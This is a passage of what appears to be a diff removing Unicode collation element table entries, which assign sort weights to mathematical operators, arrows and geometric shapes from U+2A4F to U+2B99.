-2A4F  ; [*0BF7.0020.0002] # DOUBLE SQUARE UNION
-2A50  ; [*0BF8.0020.0002] # CLOSED UNION WITH SERIFS AND SMASH PRODUCT
-2A51  ; [*0BF9.0020.0002] # LOGICAL AND WITH DOT ABOVE
-2A52  ; [*0BFA.0020.0002] # LOGICAL OR WITH DOT ABOVE
-2A53  ; [*0BFB.0020.0002] # DOUBLE LOGICAL AND
-2A54  ; [*0BFC.0020.0002] # DOUBLE LOGICAL OR
-2A55  ; [*0BFD.0020.0002] # TWO INTERSECTING LOGICAL AND
-2A56  ; [*0BFE.0020.0002] # TWO INTERSECTING LOGICAL OR
-2A57  ; [*0BFF.0020.0002] # SLOPING LARGE OR
-2A58  ; [*0C00.0020.0002] # SLOPING LARGE AND
-2A59  ; [*0C01.0020.0002] # LOGICAL OR OVERLAPPING LOGICAL AND
-2A5A  ; [*0C02.0020.0002] # LOGICAL AND WITH MIDDLE STEM
-2A5B  ; [*0C03.0020.0002] # LOGICAL OR WITH MIDDLE STEM
-2A5C  ; [*0C04.0020.0002] # LOGICAL AND WITH HORIZONTAL DASH
-2A5D  ; [*0C05.0020.0002] # LOGICAL OR WITH HORIZONTAL DASH
-2A5E  ; [*0C06.0020.0002] # LOGICAL AND WITH DOUBLE OVERBAR
-2A5F  ; [*0C07.0020.0002] # LOGICAL AND WITH UNDERBAR
-2A60  ; [*0C08.0020.0002] # LOGICAL AND WITH DOUBLE UNDERBAR
-2A61  ; [*0C09.0020.0002] # SMALL VEE WITH UNDERBAR
-2A62  ; [*0C0A.0020.0002] # LOGICAL OR WITH DOUBLE OVERBAR
-2A63  ; [*0C0B.0020.0002] # LOGICAL OR WITH DOUBLE UNDERBAR
-2A64  ; [*0C0C.0020.0002] # Z NOTATION DOMAIN ANTIRESTRICTION
-2A65  ; [*0C0D.0020.0002] # Z NOTATION RANGE ANTIRESTRICTION
-2A66  ; [*0C0E.0020.0002] # EQUALS SIGN WITH DOT BELOW
-2A67  ; [*0C0F.0020.0002] # IDENTICAL WITH DOT ABOVE
-2A68  ; [*0C10.0020.0002] # TRIPLE HORIZONTAL BAR WITH DOUBLE VERTICAL STROKE
-2A69  ; [*0C11.0020.0002] # TRIPLE HORIZONTAL BAR WITH TRIPLE VERTICAL STROKE
-2A6A  ; [*0C12.0020.0002] # TILDE OPERATOR WITH DOT ABOVE
-2A6B  ; [*0C13.0020.0002] # TILDE OPERATOR WITH RISING DOTS
-2A6C  ; [*0C14.0020.0002] # SIMILAR MINUS SIMILAR
-2A6D  ; [*0C15.0020.0002] # CONGRUENT WITH DOT ABOVE
-2A6E  ; [*0C16.0020.0002] # EQUALS WITH ASTERISK
-2A6F  ; [*0C17.0020.0002] # ALMOST EQUAL TO WITH CIRCUMFLEX ACCENT
-2A70  ; [*0C18.0020.0002] # APPROXIMATELY EQUAL OR EQUAL TO
-2A71  ; [*0C19.0020.0002] # EQUALS SIGN ABOVE PLUS SIGN
-2A72  ; [*0C1A.0020.0002] # PLUS SIGN ABOVE EQUALS SIGN
-2A73  ; [*0C1B.0020.0002] # EQUALS SIGN ABOVE TILDE OPERATOR
-2A74  ; [*0238.0020.0004][*0238.0020.0004][*05FB.0020.0004] # DOUBLE COLON EQUAL
-2A75  ; [*05FB.0020.0004][*05FB.0020.0004] # TWO CONSECUTIVE EQUALS SIGNS
-2A76  ; [*05FB.0020.0004][*05FB.0020.0004][*05FB.0020.0004] # THREE CONSECUTIVE EQUALS SIGNS
-2A77  ; [*0C1C.0020.0002] # EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW
-2A78  ; [*0C1D.0020.0002] # EQUIVALENT WITH FOUR DOTS ABOVE
-2A79  ; [*0C1E.0020.0002] # LESS-THAN WITH CIRCLE INSIDE
-2A7A  ; [*0C1F.0020.0002] # GREATER-THAN WITH CIRCLE INSIDE
-2A7B  ; [*0C20.0020.0002] # LESS-THAN WITH QUESTION MARK ABOVE
-2A7C  ; [*0C21.0020.0002] # GREATER-THAN WITH QUESTION MARK ABOVE
-2A7D  ; [*0C22.0020.0002] # LESS-THAN OR SLANTED EQUAL TO
-2A7E  ; [*0C23.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO
-2A7F  ; [*0C24.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT INSIDE
-2A80  ; [*0C25.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT INSIDE
-2A81  ; [*0C26.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE
-2A82  ; [*0C27.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE
-2A83  ; [*0C28.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE RIGHT
-2A84  ; [*0C29.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE LEFT
-2A85  ; [*0C2A.0020.0002] # LESS-THAN OR APPROXIMATE
-2A86  ; [*0C2B.0020.0002] # GREATER-THAN OR APPROXIMATE
-2A87  ; [*0C2C.0020.0002] # LESS-THAN AND SINGLE-LINE NOT EQUAL TO
-2A88  ; [*0C2D.0020.0002] # GREATER-THAN AND SINGLE-LINE NOT EQUAL TO
-2A89  ; [*0C2E.0020.0002] # LESS-THAN AND NOT APPROXIMATE
-2A8A  ; [*0C2F.0020.0002] # GREATER-THAN AND NOT APPROXIMATE
-2A8B  ; [*0C30.0020.0002] # LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN
-2A8C  ; [*0C31.0020.0002] # GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN
-2A8D  ; [*0C32.0020.0002] # LESS-THAN ABOVE SIMILAR OR EQUAL
-2A8E  ; [*0C33.0020.0002] # GREATER-THAN ABOVE SIMILAR OR EQUAL
-2A8F  ; [*0C34.0020.0002] # LESS-THAN ABOVE SIMILAR ABOVE GREATER-THAN
-2A90  ; [*0C35.0020.0002] # GREATER-THAN ABOVE SIMILAR ABOVE LESS-THAN
-2A91  ; [*0C36.0020.0002] # LESS-THAN ABOVE GREATER-THAN ABOVE DOUBLE-LINE EQUAL
-2A92  ; [*0C37.0020.0002] # GREATER-THAN ABOVE LESS-THAN ABOVE DOUBLE-LINE EQUAL
-2A93  ; [*0C38.0020.0002] # LESS-THAN ABOVE SLANTED EQUAL ABOVE GREATER-THAN ABOVE SLANTED EQUAL
-2A94  ; [*0C39.0020.0002] # GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL
-2A95  ; [*0C3A.0020.0002] # SLANTED EQUAL TO OR LESS-THAN
-2A96  ; [*0C3B.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN
-2A97  ; [*0C3C.0020.0002] # SLANTED EQUAL TO OR LESS-THAN WITH DOT INSIDE
-2A98  ; [*0C3D.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN WITH DOT INSIDE
-2A99  ; [*0C3E.0020.0002] # DOUBLE-LINE EQUAL TO OR LESS-THAN
-2A9A  ; [*0C3F.0020.0002] # DOUBLE-LINE EQUAL TO OR GREATER-THAN
-2A9B  ; [*0C40.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR LESS-THAN
-2A9C  ; [*0C41.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR GREATER-THAN
-2A9D  ; [*0C42.0020.0002] # SIMILAR OR LESS-THAN
-2A9E  ; [*0C43.0020.0002] # SIMILAR OR GREATER-THAN
-2A9F  ; [*0C44.0020.0002] # SIMILAR ABOVE LESS-THAN ABOVE EQUALS SIGN
-2AA0  ; [*0C45.0020.0002] # SIMILAR ABOVE GREATER-THAN ABOVE EQUALS SIGN
-2AA1  ; [*0C46.0020.0002] # DOUBLE NESTED LESS-THAN
-2AA2  ; [*0C47.0020.0002] # DOUBLE NESTED GREATER-THAN
-2AA3  ; [*0C48.0020.0002] # DOUBLE NESTED LESS-THAN WITH UNDERBAR
-2AA4  ; [*0C49.0020.0002] # GREATER-THAN OVERLAPPING LESS-THAN
-2AA5  ; [*0C4A.0020.0002] # GREATER-THAN BESIDE LESS-THAN
-2AA6  ; [*0C4B.0020.0002] # LESS-THAN CLOSED BY CURVE
-2AA7  ; [*0C4C.0020.0002] # GREATER-THAN CLOSED BY CURVE
-2AA8  ; [*0C4D.0020.0002] # LESS-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL
-2AA9  ; [*0C4E.0020.0002] # GREATER-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL
-2AAA  ; [*0C4F.0020.0002] # SMALLER THAN
-2AAB  ; [*0C50.0020.0002] # LARGER THAN
-2AAC  ; [*0C51.0020.0002] # SMALLER THAN OR EQUAL TO
-2AAD  ; [*0C52.0020.0002] # LARGER THAN OR EQUAL TO
-2AAE  ; [*0C53.0020.0002] # EQUALS SIGN WITH BUMPY ABOVE
-2AAF  ; [*0C54.0020.0002] # PRECEDES ABOVE SINGLE-LINE EQUALS SIGN
-2AB0  ; [*0C55.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN
-2AB1  ; [*0C56.0020.0002] # PRECEDES ABOVE SINGLE-LINE NOT EQUAL TO
-2AB2  ; [*0C57.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE NOT EQUAL TO
-2AB3  ; [*0C58.0020.0002] # PRECEDES ABOVE EQUALS SIGN
-2AB4  ; [*0C59.0020.0002] # SUCCEEDS ABOVE EQUALS SIGN
-2AB5  ; [*0C5A.0020.0002] # PRECEDES ABOVE NOT EQUAL TO
-2AB6  ; [*0C5B.0020.0002] # SUCCEEDS ABOVE NOT EQUAL TO
-2AB7  ; [*0C5C.0020.0002] # PRECEDES ABOVE ALMOST EQUAL TO
-2AB8  ; [*0C5D.0020.0002] # SUCCEEDS ABOVE ALMOST EQUAL TO
-2AB9  ; [*0C5E.0020.0002] # PRECEDES ABOVE NOT ALMOST EQUAL TO
-2ABA  ; [*0C5F.0020.0002] # SUCCEEDS ABOVE NOT ALMOST EQUAL TO
-2ABB  ; [*0C60.0020.0002] # DOUBLE PRECEDES
-2ABC  ; [*0C61.0020.0002] # DOUBLE SUCCEEDS
-2ABD  ; [*0C62.0020.0002] # SUBSET WITH DOT
-2ABE  ; [*0C63.0020.0002] # SUPERSET WITH DOT
-2ABF  ; [*0C64.0020.0002] # SUBSET WITH PLUS SIGN BELOW
-2AC0  ; [*0C65.0020.0002] # SUPERSET WITH PLUS SIGN BELOW
-2AC1  ; [*0C66.0020.0002] # SUBSET WITH MULTIPLICATION SIGN BELOW
-2AC2  ; [*0C67.0020.0002] # SUPERSET WITH MULTIPLICATION SIGN BELOW
-2AC3  ; [*0C68.0020.0002] # SUBSET OF OR EQUAL TO WITH DOT ABOVE
-2AC4  ; [*0C69.0020.0002] # SUPERSET OF OR EQUAL TO WITH DOT ABOVE
-2AC5  ; [*0C6A.0020.0002] # SUBSET OF ABOVE EQUALS SIGN
-2AC6  ; [*0C6B.0020.0002] # SUPERSET OF ABOVE EQUALS SIGN
-2AC7  ; [*0C6C.0020.0002] # SUBSET OF ABOVE TILDE OPERATOR
-2AC8  ; [*0C6D.0020.0002] # SUPERSET OF ABOVE TILDE OPERATOR
-2AC9  ; [*0C6E.0020.0002] # SUBSET OF ABOVE ALMOST EQUAL TO
-2ACA  ; [*0C6F.0020.0002] # SUPERSET OF ABOVE ALMOST EQUAL TO
-2ACB  ; [*0C70.0020.0002] # SUBSET OF ABOVE NOT EQUAL TO
-2ACC  ; [*0C71.0020.0002] # SUPERSET OF ABOVE NOT EQUAL TO
-2ACD  ; [*0C72.0020.0002] # SQUARE LEFT OPEN BOX OPERATOR
-2ACE  ; [*0C73.0020.0002] # SQUARE RIGHT OPEN BOX OPERATOR
-2ACF  ; [*0C74.0020.0002] # CLOSED SUBSET
-2AD0  ; [*0C75.0020.0002] # CLOSED SUPERSET
-2AD1  ; [*0C76.0020.0002] # CLOSED SUBSET OR EQUAL TO
-2AD2  ; [*0C77.0020.0002] # CLOSED SUPERSET OR EQUAL TO
-2AD3  ; [*0C78.0020.0002] # SUBSET ABOVE SUPERSET
-2AD4  ; [*0C79.0020.0002] # SUPERSET ABOVE SUBSET
-2AD5  ; [*0C7A.0020.0002] # SUBSET ABOVE SUBSET
-2AD6  ; [*0C7B.0020.0002] # SUPERSET ABOVE SUPERSET
-2AD7  ; [*0C7C.0020.0002] # SUPERSET BESIDE SUBSET
-2AD8  ; [*0C7D.0020.0002] # SUPERSET BESIDE AND JOINED BY DASH WITH SUBSET
-2AD9  ; [*0C7E.0020.0002] # ELEMENT OF OPENING DOWNWARDS
-2ADA  ; [*0C7F.0020.0002] # PITCHFORK WITH TEE TOP
-2ADB  ; [*0C80.0020.0002] # TRANSVERSAL INTERSECTION
-2ADC  ; [*0C81.0020.0002][.0000.002F.0002] # FORKING
-2ADD  ; [*0C81.0020.0002] # NONFORKING
-2ADE  ; [*0C82.0020.0002] # SHORT LEFT TACK
-2ADF  ; [*0C83.0020.0002] # SHORT DOWN TACK
-2AE0  ; [*0C84.0020.0002] # SHORT UP TACK
-2AE1  ; [*0C85.0020.0002] # PERPENDICULAR WITH S
-2AE2  ; [*0C86.0020.0002] # VERTICAL BAR TRIPLE RIGHT TURNSTILE
-2AE3  ; [*0C87.0020.0002] # DOUBLE VERTICAL BAR LEFT TURNSTILE
-2AE4  ; [*0C88.0020.0002] # VERTICAL BAR DOUBLE LEFT TURNSTILE
-2AE5  ; [*0C89.0020.0002] # DOUBLE VERTICAL BAR DOUBLE LEFT TURNSTILE
-2AE6  ; [*0C8A.0020.0002] # LONG DASH FROM LEFT MEMBER OF DOUBLE VERTICAL
-2AE7  ; [*0C8B.0020.0002] # SHORT DOWN TACK WITH OVERBAR
-2AE8  ; [*0C8C.0020.0002] # SHORT UP TACK WITH UNDERBAR
-2AE9  ; [*0C8D.0020.0002] # SHORT UP TACK ABOVE SHORT DOWN TACK
-2AEA  ; [*0C8E.0020.0002] # DOUBLE DOWN TACK
-2AEB  ; [*0C8F.0020.0002] # DOUBLE UP TACK
-2AEC  ; [*0C90.0020.0002] # DOUBLE STROKE NOT SIGN
-2AED  ; [*0C91.0020.0002] # REVERSED DOUBLE STROKE NOT SIGN
-2AEE  ; [*0C92.0020.0002] # DOES NOT DIVIDE WITH REVERSED NEGATION SLASH
-2AEF  ; [*0C93.0020.0002] # VERTICAL LINE WITH CIRCLE ABOVE
-2AF0  ; [*0C94.0020.0002] # VERTICAL LINE WITH CIRCLE BELOW
-2AF1  ; [*0C95.0020.0002] # DOWN TACK WITH CIRCLE BELOW
-2AF2  ; [*0C96.0020.0002] # PARALLEL WITH HORIZONTAL STROKE
-2AF3  ; [*0C97.0020.0002] # PARALLEL WITH TILDE OPERATOR
-2AF4  ; [*0C98.0020.0002] # TRIPLE VERTICAL BAR BINARY RELATION
-2AF5  ; [*0C99.0020.0002] # TRIPLE VERTICAL BAR WITH HORIZONTAL STROKE
-2AF6  ; [*0C9A.0020.0002] # TRIPLE COLON OPERATOR
-2AF7  ; [*0C9B.0020.0002] # TRIPLE NESTED LESS-THAN
-2AF8  ; [*0C9C.0020.0002] # TRIPLE NESTED GREATER-THAN
-2AF9  ; [*0C9D.0020.0002] # DOUBLE-LINE SLANTED LESS-THAN OR EQUAL TO
-2AFA  ; [*0C9E.0020.0002] # DOUBLE-LINE SLANTED GREATER-THAN OR EQUAL TO
-2AFB  ; [*0C9F.0020.0002] # TRIPLE SOLIDUS BINARY RELATION
-2AFC  ; [*0CA0.0020.0002] # LARGE TRIPLE VERTICAL BAR OPERATOR
-2AFD  ; [*0CA1.0020.0002] # DOUBLE SOLIDUS OPERATOR
-2AFE  ; [*0CA2.0020.0002] # WHITE VERTICAL BAR
-2AFF  ; [*0CA3.0020.0002] # N-ARY WHITE VERTICAL BAR
-2B00  ; [*0CA4.0020.0002] # NORTH EAST WHITE ARROW
-2B01  ; [*0CA5.0020.0002] # NORTH WEST WHITE ARROW
-2B02  ; [*0CA6.0020.0002] # SOUTH EAST WHITE ARROW
-2B03  ; [*0CA7.0020.0002] # SOUTH WEST WHITE ARROW
-2B04  ; [*0CA8.0020.0002] # LEFT RIGHT WHITE ARROW
-2B05  ; [*0CA9.0020.0002] # LEFTWARDS BLACK ARROW
-2B06  ; [*0CAA.0020.0002] # UPWARDS BLACK ARROW
-2B07  ; [*0CAB.0020.0002] # DOWNWARDS BLACK ARROW
-2B08  ; [*0CAC.0020.0002] # NORTH EAST BLACK ARROW
-2B09  ; [*0CAD.0020.0002] # NORTH WEST BLACK ARROW
-2B0A  ; [*0CAE.0020.0002] # SOUTH EAST BLACK ARROW
-2B0B  ; [*0CAF.0020.0002] # SOUTH WEST BLACK ARROW
-2B0C  ; [*0CB0.0020.0002] # LEFT RIGHT BLACK ARROW
-2B0D  ; [*0CB1.0020.0002] # UP DOWN BLACK ARROW
-2B0E  ; [*0CB2.0020.0002] # RIGHTWARDS ARROW WITH TIP DOWNWARDS
-2B0F  ; [*0CB3.0020.0002] # RIGHTWARDS ARROW WITH TIP UPWARDS
-2B10  ; [*0CB4.0020.0002] # LEFTWARDS ARROW WITH TIP DOWNWARDS
-2B11  ; [*0CB5.0020.0002] # LEFTWARDS ARROW WITH TIP UPWARDS
-2B12  ; [*0CB6.0020.0002] # SQUARE WITH TOP HALF BLACK
-2B13  ; [*0CB7.0020.0002] # SQUARE WITH BOTTOM HALF BLACK
-2B14  ; [*0CB8.0020.0002] # SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK
-2B15  ; [*0CB9.0020.0002] # SQUARE WITH LOWER LEFT DIAGONAL HALF BLACK
-2B16  ; [*0CBA.0020.0002] # DIAMOND WITH LEFT HALF BLACK
-2B17  ; [*0CBB.0020.0002] # DIAMOND WITH RIGHT HALF BLACK
-2B18  ; [*0CBC.0020.0002] # DIAMOND WITH TOP HALF BLACK
-2B19  ; [*0CBD.0020.0002] # DIAMOND WITH BOTTOM HALF BLACK
-2B1A  ; [*0CBE.0020.0002] # DOTTED SQUARE
-2B1B  ; [*0CBF.0020.0002] # BLACK LARGE SQUARE
-2B1C  ; [*0CC0.0020.0002] # WHITE LARGE SQUARE
-2B1D  ; [*0CC1.0020.0002] # BLACK VERY SMALL SQUARE
-2B1E  ; [*0CC2.0020.0002] # WHITE VERY SMALL SQUARE
-2B1F  ; [*0CC3.0020.0002] # BLACK PENTAGON
-2B20  ; [*0CC4.0020.0002] # WHITE PENTAGON
-2B21  ; [*0CC5.0020.0002] # WHITE HEXAGON
-2B22  ; [*0CC6.0020.0002] # BLACK HEXAGON
-2B23  ; [*0CC7.0020.0002] # HORIZONTAL BLACK HEXAGON
-2B24  ; [*0CC8.0020.0002] # BLACK LARGE CIRCLE
-2B25  ; [*0CC9.0020.0002] # BLACK MEDIUM DIAMOND
-2B26  ; [*0CCA.0020.0002] # WHITE MEDIUM DIAMOND
-2B27  ; [*0CCB.0020.0002] # BLACK MEDIUM LOZENGE
-2B28  ; [*0CCC.0020.0002] # WHITE MEDIUM LOZENGE
-2B29  ; [*0CCD.0020.0002] # BLACK SMALL DIAMOND
-2B2A  ; [*0CCE.0020.0002] # BLACK SMALL LOZENGE
-2B2B  ; [*0CCF.0020.0002] # WHITE SMALL LOZENGE
-2B2C  ; [*0CD0.0020.0002] # BLACK HORIZONTAL ELLIPSE
-2B2D  ; [*0CD1.0020.0002] # WHITE HORIZONTAL ELLIPSE
-2B2E  ; [*0CD2.0020.0002] # BLACK VERTICAL ELLIPSE
-2B2F  ; [*0CD3.0020.0002] # WHITE VERTICAL ELLIPSE
-2B30  ; [*0CD4.0020.0002] # LEFT ARROW WITH SMALL CIRCLE
-2B31  ; [*0CD5.0020.0002] # THREE LEFTWARDS ARROWS
-2B32  ; [*0CD6.0020.0002] # LEFT ARROW WITH CIRCLED PLUS
-2B33  ; [*0CD7.0020.0002] # LONG LEFTWARDS SQUIGGLE ARROW
-2B34  ; [*0CD8.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE
-2B35  ; [*0CD9.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE
-2B36  ; [*0CDA.0020.0002] # LEFTWARDS TWO-HEADED ARROW FROM BAR
-2B37  ; [*0CDB.0020.0002] # LEFTWARDS TWO-HEADED TRIPLE DASH ARROW
-2B38  ; [*0CDC.0020.0002] # LEFTWARDS ARROW WITH DOTTED STEM
-2B39  ; [*0CDD.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH VERTICAL STROKE
-2B3A  ; [*0CDE.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
-2B3B  ; [*0CDF.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL
-2B3C  ; [*0CE0.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE
-2B3D  ; [*0CE1.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
-2B3E  ; [*0CE2.0020.0002] # LEFTWARDS ARROW THROUGH X
-2B3F  ; [*0CE3.0020.0002] # WAVE ARROW POINTING DIRECTLY LEFT
-2B40  ; [*0CE4.0020.0002] # EQUALS SIGN ABOVE LEFTWARDS ARROW
-2B41  ; [*0CE5.0020.0002] # REVERSE TILDE OPERATOR ABOVE LEFTWARDS ARROW
-2B42  ; [*0CE6.0020.0002] # LEFTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO
-2B43  ; [*0CE7.0020.0002] # RIGHTWARDS ARROW THROUGH GREATER-THAN
-2B44  ; [*0CE8.0020.0002] # RIGHTWARDS ARROW THROUGH SUPERSET
-2B45  ; [*0CE9.0020.0002] # LEFTWARDS QUADRUPLE ARROW
-2B46  ; [*0CEA.0020.0002] # RIGHTWARDS QUADRUPLE ARROW
-2B47  ; [*0CEB.0020.0002] # REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW
-2B48  ; [*0CEC.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO
-2B49  ; [*0CED.0020.0002] # TILDE OPERATOR ABOVE LEFTWARDS ARROW
-2B4A  ; [*0CEE.0020.0002] # LEFTWARDS ARROW ABOVE ALMOST EQUAL TO
-2B4B  ; [*0CEF.0020.0002] # LEFTWARDS ARROW ABOVE REVERSE TILDE OPERATOR
-2B4C  ; [*0CF0.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR
-2B4D  ; [*0CF1.0020.0002] # DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW
-2B4E  ; [*0CF2.0020.0002] # SHORT SLANTED NORTH ARROW
-2B4F  ; [*0CF3.0020.0002] # SHORT BACKSLANTED SOUTH ARROW
-2B50  ; [*0CF4.0020.0002] # WHITE MEDIUM STAR
-2B51  ; [*0CF5.0020.0002] # BLACK SMALL STAR
-2B52  ; [*0CF6.0020.0002] # WHITE SMALL STAR
-2B53  ; [*0CF7.0020.0002] # BLACK RIGHT-POINTING PENTAGON
-2B54  ; [*0CF8.0020.0002] # WHITE RIGHT-POINTING PENTAGON
-2B55  ; [*0CF9.0020.0002] # HEAVY LARGE CIRCLE
-2B56  ; [*0CFA.0020.0002] # HEAVY OVAL WITH OVAL INSIDE
-2B57  ; [*0CFB.0020.0002] # HEAVY CIRCLE WITH CIRCLE INSIDE
-2B58  ; [*0CFC.0020.0002] # HEAVY CIRCLE
-2B59  ; [*0CFD.0020.0002] # HEAVY CIRCLED SALTIRE
-2B5A  ; [*0CFE.0020.0002] # SLANTED NORTH ARROW WITH HOOKED HEAD
-2B5B  ; [*0CFF.0020.0002] # BACKSLANTED SOUTH ARROW WITH HOOKED TAIL
-2B5C  ; [*0D00.0020.0002] # SLANTED NORTH ARROW WITH HORIZONTAL TAIL
-2B5D  ; [*0D01.0020.0002] # BACKSLANTED SOUTH ARROW WITH HORIZONTAL TAIL
-2B5E  ; [*0D02.0020.0002] # BENT ARROW POINTING DOWNWARDS THEN NORTH EAST
-2B5F  ; [*0D03.0020.0002] # SHORT BENT ARROW POINTING DOWNWARDS THEN NORTH EAST
-2B60  ; [*0D04.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW
-2B61  ; [*0D05.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW
-2B62  ; [*0D06.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW
-2B63  ; [*0D07.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW
-2B64  ; [*0D08.0020.0002] # LEFT RIGHT TRIANGLE-HEADED ARROW
-2B65  ; [*0D09.0020.0002] # UP DOWN TRIANGLE-HEADED ARROW
-2B66  ; [*0D0A.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW
-2B67  ; [*0D0B.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW
-2B68  ; [*0D0C.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW
-2B69  ; [*0D0D.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW
-2B6A  ; [*0D0E.0020.0002] # LEFTWARDS TRIANGLE-HEADED DASHED ARROW
-2B6B  ; [*0D0F.0020.0002] # UPWARDS TRIANGLE-HEADED DASHED ARROW
-2B6C  ; [*0D10.0020.0002] # RIGHTWARDS TRIANGLE-HEADED DASHED ARROW
-2B6D  ; [*0D11.0020.0002] # DOWNWARDS TRIANGLE-HEADED DASHED ARROW
-2B6E  ; [*0D12.0020.0002] # CLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW
-2B6F  ; [*0D13.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW
-2B70  ; [*0D14.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW TO BAR
-2B71  ; [*0D15.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW TO BAR
-2B72  ; [*0D16.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW TO BAR
-2B73  ; [*0D17.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW TO BAR
-2B76  ; [*0D18.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW TO BAR
-2B77  ; [*0D19.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW TO BAR
-2B78  ; [*0D1A.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW TO BAR
-2B79  ; [*0D1B.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW TO BAR
-2B7A  ; [*0D1C.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
-2B7B  ; [*0D1D.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
-2B7C  ; [*0D1E.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
-2B7D  ; [*0D1F.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
-2B7E  ; [*0D20.0020.0002] # HORIZONTAL TAB KEY
-2B7F  ; [*0D21.0020.0002] # VERTICAL TAB KEY
-2B80  ; [*0D22.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW OVER RIGHTWARDS TRIANGLE-HEADED ARROW
-2B81  ; [*0D23.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF DOWNWARDS TRIANGLE-HEADED ARROW
-2B82  ; [*0D24.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW OVER LEFTWARDS TRIANGLE-HEADED ARROW
-2B83  ; [*0D25.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF UPWARDS TRIANGLE-HEADED ARROW
-2B84  ; [*0D26.0020.0002] # LEFTWARDS TRIANGLE-HEADED PAIRED ARROWS
-2B85  ; [*0D27.0020.0002] # UPWARDS TRIANGLE-HEADED PAIRED ARROWS
-2B86  ; [*0D28.0020.0002] # RIGHTWARDS TRIANGLE-HEADED PAIRED ARROWS
-2B87  ; [*0D29.0020.0002] # DOWNWARDS TRIANGLE-HEADED PAIRED ARROWS
-2B88  ; [*0D2A.0020.0002] # LEFTWARDS BLACK CIRCLED WHITE ARROW
-2B89  ; [*0D2B.0020.0002] # UPWARDS BLACK CIRCLED WHITE ARROW
-2B8A  ; [*0D2C.0020.0002] # RIGHTWARDS BLACK CIRCLED WHITE ARROW
-2B8B  ; [*0D2D.0020.0002] # DOWNWARDS BLACK CIRCLED WHITE ARROW
-2B8C  ; [*0D2E.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED RIGHT U-SHAPED ARROW
-2B8D  ; [*0D2F.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED BOTTOM U-SHAPED ARROW
-2B8E  ; [*0D30.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED LEFT U-SHAPED ARROW
-2B8F  ; [*0D31.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED TOP U-SHAPED ARROW
-2B90  ; [*0D32.0020.0002] # RETURN LEFT
-2B91  ; [*0D33.0020.0002] # RETURN RIGHT
-2B92  ; [*0D34.0020.0002] # NEWLINE LEFT
-2B93  ; [*0D35.0020.0002] # NEWLINE RIGHT
-2B94  ; [*0D36.0020.0002] # FOUR CORNER ARROWS CIRCLING ANTICLOCKWISE
-2B95  ; [*0D37.0020.0002] # RIGHTWARDS BLACK ARROW
-2B98  ; [*0D38.0020.0002] # THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD
-2B99  ; [*0D39.0020.0002] # THREE-D RIGHT-LIGHTED UPWARDS EQUILATERAL ARROWHEAD
